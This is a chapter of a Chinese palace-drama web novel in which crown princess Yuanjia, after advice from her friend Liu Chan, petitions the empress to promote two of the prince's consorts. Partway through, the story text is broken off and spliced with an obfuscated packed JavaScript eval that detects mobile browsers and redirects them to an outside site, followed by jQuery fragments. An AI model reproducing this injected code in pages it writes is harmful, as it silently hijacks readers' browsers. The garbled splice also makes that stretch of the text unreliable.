73. 闻归期

作品:《君妇升职手札

    那之后每隔三日,燕景璇都会驾车过府,而庄映秋也会跟着公主府的车驾一并前来。至深秋时节,元嘉已能舞出庄映秋剑舞中的几丝神韵,又因习过剑的缘故,行云流水间更多三分锐气。


    这期间,上京城内倒一片平静。许是今年秋热过甚的缘故,便连设宴邀朋的也少了许多,茶余饭后的闲谈也始终集中在广平侯府的两位娘子身上,尤其是赵舒和。


    赵舒和月前已晋了正四品美人,虽非主位,却已然得了旨意,搬到正殿去住了。


    升迁之快,令人侧目。


    便连季母也闻得此事,元嘉领着季元淳回季家时,还特意问起赵家娘子在宫内的近况,知道赵舒和诸事尚算顺遂后,便也没再多言。


    这也不过闲语琐事,并不被元嘉过多在意。


    倒是柳安沅,近来实在反常。不说元嘉,便连穆瑶筝也许久未约到人一同玩乐了,好在平日里还有书信往来,倒不算失了联系。


    可,实在是叫人好奇。


    柳安沅最是喜好热闹的,往常待在家中超过半日,便要央着靖安郡主放她出门的。这段日子倒好,不止变得大门不出二门不迈了,听季母说,还开始向她请教起侍弄花草的事情了。


    桩桩件件,都与柳安沅一贯的脾性截然相反。


    元嘉正思忖着,突然想起季母提起柳安沅时的忍笑模样,又见她书信里通篇的躲闪言辞,脑中灵光骤现,下意识呀了一声。


    莫不是……


    若真是她想的那样,还真是要有大好事了。元嘉忍不住笑出声来,因燕景祁回程而有些低落的心绪此刻也略微高涨了些。


    是的,燕景祁已在回程的路上了。


    可讽刺的是,她并不是从男人那里知道这个消息的。告诉元嘉的,是欧阳沁寄来的信,是燕景璇不经意间在她面前说出的话,更是某日进宫请安时娄皇后直白的点明。


    好在到最后,燕景祁还是向太子府送了信回来。哪怕收到信时,距元嘉知道消息后已过去了五日,距燕景祁出发也已过去了近十日。而那封宣告着燕景祁归期的信,也不过被元嘉草草扫视了两眼,之后就静置在了书案上,不再管过。


    “……女君。”


    逢春小心推开屋门,上前几步替元嘉换上新沏的茶。早前端进来的那一盏已不见氤氲热气,可杯中的分量却丝毫未减,显然直到那茶凉透,也不曾有人饮过一口。


    元嘉却恍若未闻,仍保持着逢春进门时的姿势——歪坐在书案后头,手里拈了张染了墨渍的宣纸,皱着眉头不知在想些什么。


    逢春下意识放轻了脚步,收敛了动作正欲离开,却被元嘉出声唤住——


    “你留下,替我研墨。”


    逢春诶了一声,又绕到书案的另一侧,拿起墨块开始研磨。笔洗里的水是浑浊的,砚台里也还有干涸的墨迹,分明就是已经研磨过的样子,只是放置的时间过长,又凝在了一起。


    再看铺陈于桌面的宣纸,有些被胡乱揉成一团扔在角落,有些随意落了两字又被更大的墨团糊住,有些甚至连字都没有,只是被墨点不小心晕出来几缕轮廓,便被扔弃在桌脚。


    元嘉手里拿着的,已是留痕最多的一张了。


    又过了一刻钟的工夫,连逢春都觉得手开始酸痛时,元嘉才终于动了——从笔架上随意抓了支狼毫,另铺了张宣纸,重又落起字来。可也不过写满半张纸,便又放弃般揉作一团,将其掷在桌脚,嘴里也开始叹起气来。


    “女君,”逢春大着胆子问道,“您可是遇到了什么烦心事?”


    元嘉抬手揉着眉心,轻声道:“我在想,该怎么给皇后殿下写奏书。”


    “奏书?”


    逢春一时不解,她并未听说太子府近来有什么大事发生,甚至需要向皇后奏陈。


    “太子就快回来了,”元嘉抬眼,“吴奉仪随侍太子,自然也就一道回来了。”


    “……是?”


    逢春仍是困惑。


    “此行数月,去的又是北地苦寒之处,服侍太子起居的人只有吴奉仪一个,便无功劳也是有苦劳的,”元嘉搁下笔,“我想着,去向皇后殿下请旨,晋一晋吴奉仪的位分。”


    “奉仪此行辛苦,封赏亦无可厚非,想来皇后殿下也是允准的。”


    逢春笑道,不解于元嘉为何会在此事上显露犹豫。


    “若是封赏吴奉仪,那……徐奉仪呢?”


    逢春一下子没了声响。


    元嘉垂下眼帘,又盯着握在手里的毫笔发愣。无子无宠的吴小童若得了晋封,那曾经为良娣、又为太子诞下一女的徐丽华呢?


    她可以不在乎徐丽华的感受,却不能不顾及宜恕的脸面,也还得为前者的来日早作打算才行。


    自然,徐丽华谈不上无辜二字,徐家如日中天之时,她是上京城里最矜贵的女郎,享了家族带来的无边权势与富贵。若非徐家倾覆,她此生是可以料见的富贵无极。但,徐家的恶果,徐丽华已经饱尝了,便不该再让宜恕受此牵累了。


    可是……


    元嘉又是一声叹息,终似放弃般搁下了笔。


    今日,看来是写不出来了。


    “不若请皇后殿下——”


    逢春见元嘉实在为难,一瞬间想到了娄皇后,却又在前者抬眼的那一刹戛然而止。


    “这是东宫内事,如何好让皇后决断,”元嘉无奈一摇头,“难道还要说我这个太子妃无能不成?”


    “……是奴婢想的浅了。”


    逢春面露赧然。


    “与你何干,不过是我自己总不敢放松罢了。行了,找人进来收拾吧,我且再想想。”


    元嘉抻了抻身子,起身离开书案,临窗而立,望着院子里的梧桐树暂作舒松。


    逢春应了一声,捧回托盘便往屋外唤人,不多时就领着拂冬进门将屋内归置妥当。至于被元嘉写废了的纸,则被拂冬小心铺平后收捡在了木匣子里。逢春则摸了张笺纸,正欲在其中落上年号日月。


    “不用留了,都烧掉吧。”


    元嘉虽还看着窗外,却仍对屋内的动静知道得一清二楚。她若不发话,这些废了的纸便只能留着。


    这是宫里的规矩。


    两人垂目应下。逢春将香炉的盖子打开,用手轻轻扇动了两下,见火光隐现,这才让拂冬把匣子抱过来。前者打开匣子,将里头的废纸重新取出,一张一张地往香炉里放,直到看着它被陡然升高的火焰吞噬。


    当着元嘉的面,烧去留有她字迹的纸张,这也是宫里的规矩。


    元嘉回头,看着炉中的火焰一点点蹿起,再一点点失了光亮,心中的郁气也似这火焰般忽高忽低,最终化作一声喟叹。


    这样提笔犹豫的日子又持续了好几日,直到刘婵上门给元嘉送还香包。


    “后宫事皇后殿下作主,东宫事太子妃依制决断,这本就是理所应当的,元娘怎么就把自己给困住了?”


    刘婵摇头轻笑,望着元嘉无奈道。


    “可徐奉仪她……”


    元嘉还是有些犹豫。


    “对徐奉仪的处置,早在徐家被问罪之时便已经有了结果,不是吗?”刘婵温声道,“如今她只是太子嫔御,太子妃对她封赏也好,惩戒也罢,只关乎其自身对错,又能与什么再有牵扯呢?”


    元嘉豁然开朗,眉心的折痕也总算舒展开来。是她想的左了,一开始就把自己逼进了死胡同里,好在有刘婵这个旁观者的点醒,否则也不知道还要被困在其中多少日。


    “素娥,”元嘉搭过刘婵的手,语带感激,“多亏了你,不然我、我……”


    刘婵笑着抬手,作势捂住元嘉还想说话的嘴,“您和太子都是厚道人呢。”


    “……为何?”


    不解的人换作了元嘉。


    “我朝律法,出嫁女不受母家之罪牵连。可当年徐氏一族下狱时,仍有不少人家将已出嫁的徐氏女休弃后送入了掖庭,只为与徐家割席,以表已身清白。而太子,由始至终只做了降徐奉仪位分这一件事情,当时许多朝臣还对此颇有微词,如今却也无人提起了。”


    刘婵指尖无意识地勾住香包上束口的绳结,显然不像说话声那样平静。


    “至于吴奉仪,宫里侍奉过贵人、受过雨露恩泽的宫女,余生便不能再出宫了,若是没有名分,过得便连寻常宫女也不如。太子念旧,所以出宫建府时一并给了吴奉仪名分带出宫去,可再往前分到端王寝殿的,就没有这般好的福气了,如今只怕都被抛诸在北宫了。”


    “……北宫?”元嘉喃喃道,“我一直以为,那地方只有犯了错或是失宠的嫔妃才会去的。”


    “若非听吴奉仪提过,我也是这样以为的,”刘婵垂下眼睑,“太子给了她名分,您如今也愿意再拔她一拔,吴奉仪来日,想来也可过得不错。”


    “我只是想着她此行不易,该有封赏才是,并不是……”


    元嘉突然生出几分惭愧。


    扪心自问,她并没有那样好的慈悲心肠,在这样的地方,能保全自己、不至于随波逐流便已经很难了,她实在分不出精力去周全身边的每一个人。至于吴小童,她当然觉得可怜,心中亦有不少的怜悯,可对她的封赏,更多的却还是因为太子妃的责任,和想要修立自己名声的那点隐秘心思。


    “这已是很好了。”


    刘婵柔声道。


    元嘉怔怔地看着刘婵,突然露了抹笑,“我似乎明白阿柔为何这样依赖素娥你了。”


    刘婵罕见的愣了一下。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355389|154513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “素娥是个很好的姊姊呢,”元嘉弯着一双笑眼,“可惜我没有阿姊,若是有,也希望是个如素娥一般的姊姊,叫我听着她的声音便能心安。”


    “您呀!”


    刘婵侧过脑袋,一时没忍住笑意。


    ……


    有了刘婵的开解,元嘉心中再无疑窦,第二日便拟好了奏书,又趁着进宫请安的机会,一并向娄皇后提了此事。


    如刘婵所说,娄皇后并未对元嘉的话提出质疑,反倒颇为赞赏。


    “吴氏随侍太子有功,”娄皇后顿了一下,“徐氏……为皇室诞育后嗣亦有功,是该封赏,太子妃有心了。”


    说罢,将奏书递给兰佩,吩咐道:“传旨,晋吴氏、徐氏为太子昭训,着人去办吧。”


    兰佩躬身答应,旋即往殿外走去,元嘉亦起身拜谢。


    “坐吧,”娄皇后温言道,“难为你记得她们,倒是个好心肠的孩子。”


    元嘉忙道不敢。


    娄皇后不置可否,只笑着将视线收回,端起茶盏啜饮一口,状似无意道:“太子再有几日便可抵京了。”


    “是,”元嘉神色不改,“自收到太子回程的消息,儿臣便着人每日往澹怀堂扫洗,就等着太子回来了呢。”


    娄皇后颔首,“太子这趟差事办得不错,陛下已决定在麟德殿为他设宴接风,当日只怕会留宿皇宫。你到时提前一日进宫,住回少阳宫去,第二日再与太子一道回去,免得在太子府空等。”


    “是。”


    元嘉敛目应下。


    这话看似在为她着想,实则全然不见商量的语气,所以回答便也显而易见了。


    “刘良娣教养子女亦是辛劳,太子妃也一并多照顾着些吧。”


    娄皇后扫视着在场诸人的反应,见元嘉再次应下,方才道:“行了,今日也差不多了,便都下去吧。”


    “……是。”


    出了清宁宫,倪娉柔始终平静的脸上总算出现一丝裂缝,眉眼间隐约可见不愉之色。


    元嘉正想着该如何解释,却被刘婵握住手腕轻摇了两下。


    “今日所求为何,倪妹妹心里都是清楚的,你莫要担心。”


    刘婵凑近在元嘉耳边,悄声道。


    元嘉又一次望去──果如刘婵所说,倪娉柔的脸色虽还有些难看,可终究知道自己身处何地,长长几次吁气后,人也平复了不少。再等到三人上辇,便彻底恢复了往日的淡然,嘴角也不再紧绷,只是神色恹恹,全无开口说话的兴致。


    这份沉默一直持续到车驾驶回太子府,几人步行回居所的路上。


    “我并非生你的气,只是不高兴她罢了!”


    终于,倪娉柔出声了。


    元嘉又望了刘婵一眼,见她朝自己一笑,又轻轻摇了摇头,便也不吱声,只默默听着倪娉柔忍了一路的不满。


    “宜恕有她这么个母亲,可惜了!”倪娉柔咬着牙道,“若是我、我……”


    之后便没有下文了,可在场的都是耳聪目明之人,又哪会听不出倪娉柔的言下之意。


    元嘉移开视线,又不露声色地与刘婵对视一眼,皆看见了彼此眼底的惊诧。


    果然,是因为那日听到娄皇后说起四公主的事后,起了心思了。而这,只怕也是娄皇后想看到的——既然无法抛舍皇室血脉,那就、索性换一个母亲好了。


    “你不生我气就好,”元嘉只装作没听到这句话,兀自道,“今日便不留你们了,宣旨的人怕是午后就要来,吴奉仪虽不在,徐奉仪却还是要出来听旨的,我得让人知会一声才行。”


    已然行至岔路口,元嘉遂停下脚步,朝二人道。


    刘婵笑着点了点头,拉过还在因失言暗恼的倪娉柔,行过礼便一起离开。元嘉则在原地停了片刻,直到两人的身影彻底消失在视线内,才转身走向岔路的另一头。


    她并不担心倪娉柔的心思,可却摸不准娄皇后是何想法。


    若只是不想叫徐丽华继续养着宜恕,直接下旨叫郡主们入宫听学就足够了。便是起了叫别人抚养宜恕的心思,来日入宫,徐丽华一生难及主位,她的孩子自然要交给别人抚养,又何必急在这一时呢?


    元嘉想不明白。


    可至少有一点能确定,娄皇后还未因徐丽华对宜恕生厌到像自己说出的话那般,如今也还顾念着宜恕的来日。


    那她呢,是不是也该推一把?


    元嘉停下脚步,回头朝倪娉柔离去的方向看了一眼,最终还是放弃了这个念头。来日注定的事情,便交给来日好了,宜恕……也还眷恋着自己的生母呢。


    元嘉下意识晃了晃脑袋,亦惊讶于自己这突如其来的不切实际的念头,很快收敛好思绪,快步消失在岔路尽头。